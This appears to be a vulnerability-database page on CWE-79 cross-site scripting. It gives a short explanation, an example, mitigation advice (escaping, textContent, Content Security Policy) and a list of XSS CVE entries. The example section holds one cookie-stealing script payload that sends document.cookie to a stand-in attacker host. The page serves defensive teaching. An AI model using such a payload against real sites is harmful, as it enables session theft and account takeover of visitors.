Fallos del tipo CWE-79

29.523 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-0566MEDIUMImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in froxlor/froxlorEPSS 0.4%CVE-2024-3956MEDIUMPods – Custom Content Types and Fields <= 3.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Pod Form Redirect URLEPSS 0.4%CVE-2024-2475MEDIUMMedia Library Assistant <= 3.13 - Authenticated (Contributor+) Stored Cross-Site Scripting via mla_gallery ShortcodeEPSS 0.4%CVE-2023-30563HIGHStored Cross-Site Scripting on User Import Functionality EPSS 0.4%CVE-2024-3974MEDIUMBuddyPress <= 12.4.0 - Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-22610HIGHAngular has XSS Vulnerability via Unsanitized SVG Script AttributesEPSS 0.4%CVE-2023-47622HIGHiTop vulnerable to XSS vulnerability in dashlet refreshEPSS 0.4%CVE-2024-4822MEDIUMCross-site Scripting in School ERP Pro+Responsive by AROX SOLUTIONEPSS 0.4%CVE-2023-31156MEDIUMImproper Neutralization of Input During Web Page GenerationEPSS 0.4%CVE-2024-0792MEDIUMWP Shortcodes Plugin — Shortcodes Ultimate <= 7.0.1 - Authenticated(Contributor+) Stored Cross-Site Scripting via shortcodeEPSS 0.4%CVE-2024-30879MEDIUMReflected Cross Site Scripting (XSS) vulnerability in RageFrame2 v2.6.43, allows remote attackers to execute arbitrary web scripts or HTML aEPSS 0.4%CVE-2023-25836MEDIUMBUG-000135364 XSS in 10.8.1 sites builder iframe sourceEPSS 0.4%CVE-2025-6596NONEVector inserts portlet labels as HTML, allowing for stored XSS through system messagesEPSS 0.4%CVE-2023-31164MEDIUMImproper Neutralization of Input During Web Page GenerationEPSS 0.4%CVE-2022-45082LOWWordPress Accordions plugin <= 2.0.3 - Multiple Auth. Stored Cross-Site Scripting (XSS) vulnerabilitiesEPSS 0.4%CVE-2023-31153MEDIUMImproper Neutralization of Input During Web Page GenerationEPSS 0.4%CVE-2023-31154MEDIUMImproper Neutralization of Input During Web Page GenerationEPSS 0.4%CVE-2024-1445MEDIUMPage scroll to id <= 1.7.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2023-1701MEDIUMCross-site Scripting (XSS) - Reflected in pimcore/pimcoreEPSS 0.4%CVE-2023-31159MEDIUMImproper Neutralization of Input During Web Page GenerationEPSS 0.4%